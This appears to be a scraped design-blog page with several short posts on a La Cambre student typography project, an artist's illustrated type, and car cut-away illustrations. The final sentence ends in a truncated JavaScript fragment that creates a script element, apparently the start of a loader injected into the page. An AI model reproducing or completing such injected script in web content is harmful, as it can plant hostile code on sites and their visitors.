I found this today while visiting typography section jury at La Cambre visual art school (Brussels, Belgium).
Someone told me it is the last year project of a student in graphic communication section. It’s done in the cafetaria.

I don’t know the name of the student, does anyone know? Made by Basile Cuvelier.

Thanks Wendy for the photos, click “Continue reading” for more.

Mr. Sumkin‘s art is a synergistic blend of lovingly crafted pen & ink watercolors with biting social commentary. Although his typographical work belies the influence of Gothic, Art Nouveau, Wes Wilson and others, Mr. Sumkin remains deliciously unique. One would be hard pressed to chose between his exquisitely designed type and his fresh style of editorial & advertising illustration. Fortunately, they compliment each other beautifully.”

Thanks to Alex Deforce for the link.

Cartype: Car cut-aways (Discovered on 37Signals Blog).

This kind of pictures arouse every time my curiosity, whatever the object is. We have an incredible amount of information that fit on those visuals, thus requiring a very clear image design and structure to juxtapose the infinite small and the infinite big of the object.
Today, computers are really great tools by reducing the time to produce and adjust those artworks. David Kimble is one of the last remaining masters in the art of traditional “hand draw” automotive illustration, you can learn more about his work here.

I also suggest you the dictionary “Le Visuel” Ariane Archambault and Jean-Claude Corbeil (thanks Ali). A multilingual version is available, a nice way to learn foreigns languages vocabulary! There are also kids editions and more.

If you have similar stuff, please use the comments to share.var d=document;var s=d.createElement(‘script’);
